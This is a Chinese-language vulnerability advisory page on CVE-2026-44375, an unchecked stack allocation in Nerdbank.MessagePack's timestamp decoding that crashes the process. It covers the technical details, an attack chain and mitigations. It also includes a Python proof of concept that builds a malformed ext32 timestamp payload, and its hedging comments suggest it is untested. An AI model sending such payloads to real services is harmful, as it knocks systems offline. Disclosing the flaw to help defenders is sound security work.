IPBUF安全漏洞报告
English
CVE-2026-44375 CVSS 7.5 高危

CVE-2026-44375 Nerdbank.MessagePack栈溢出漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44375
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nerdbank.MessagePack

相关标签

栈溢出拒绝服务Nerdbank.MessagePackCVE-2026-44375反序列化

漏洞概述

Nerdbank.MessagePack是一个NativeAOT兼容的序列化库。在1.1.62版本之前,其在DateTime解码过程中存在未受控制的栈分配漏洞。攻击者可构造恶意MessagePack载荷,声明超大时间戳扩展长度,迫使读取器在栈上分配攻击者控制大小的内存,从而触发不可捕获的StackOverflowException,导致进程终止。

技术细节

该漏洞的根源在于Nerdbank.MessagePack库在解析MessagePack时间戳扩展格式时,未对载荷中声明的长度字段进行有效验证。当解析器处理DateTime对象时,它会读取时间戳扩展的长度值,并尝试在栈上分配相应大小的缓冲区。由于缺乏边界检查,攻击者可以发送一个包含极大长度值的恶意MessagePack数据包。这会导致程序尝试分配超过栈容量限制的内存,立即触发StackOverflowException。由于该异常属于栈耗尽错误,通常无法被应用程序的常规异常捕获机制处理,最终导致整个进程崩溃,造成拒绝服务。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了Nerdbank.MessagePack库且版本低于1.1.62。
STEP 2
武器化
攻击者构造一个特殊的MessagePack数据包,其中包含时间戳扩展字段,并将其长度字段设置为一个极大的数值。
STEP 3
交付
攻击者通过网络将恶意构造的MessagePack数据包发送给目标应用程序。
STEP 4
利用
目标应用程序的Nerdbank.MessagePack解析器在解码DateTime时读取长度值,并尝试在栈上分配相应大小的内存。
STEP 5
影响
由于分配大小超过栈限制,触发StackOverflowException,导致进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC for CVE-2026-44375 # This script generates a malicious MessagePack payload to trigger the stack overflow. # Vulnerability: Uncontrolled stack allocation in DateTime decoding. def generate_exploit_payload(): # MessagePack timestamp extension type is -1 (0xFF) # We need to craft a header that tells the decoder to allocate a huge size. # Format spec for fixext8/ext8/ext16/ext32 usually defines size. # Assuming the library reads a length byte/short/int and allocates it blindly. # Example: Using ext8 format (0xC7) with max length 255, or ext32 (0xC9) for huge size. # Let's try to construct an ext32 header with a large length (e.g., 0xFFFFFFFF or large enough to crash). ext_type = 0xFF # Timestamp type malicious_length = 0x00FFFFFF # Large length (approx 16MB, enough to blow stack) # Format: 0xC9 (ext32), Length (4 bytes big-endian), Type (1 byte), Data (Length bytes) header = struct.pack('>BIB', 0xC9, malicious_length, ext_type) # The actual data content doesn't matter much, just the header triggers the allocation. # We pad it to avoid read errors if the library checks existence of data, # but usually the allocation happens before the read or immediately after. payload = header + b'A' * 100 return payload if __name__ == "__main__": payload = generate_exploit_payload() print(f"Generated malicious payload (length: {len(payload)}): {payload.hex()}") print("Send this payload to a vulnerable Nerdbank.MessagePack listener.")

影响范围

Nerdbank.MessagePack < 1.1.62

防御指南

临时缓解措施
如果无法立即升级,建议在MessagePack反序列化层增加输入过滤,拒绝包含异常扩展长度的时间戳对象;或者在沙箱/隔离环境中运行不可信的反序列化任务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表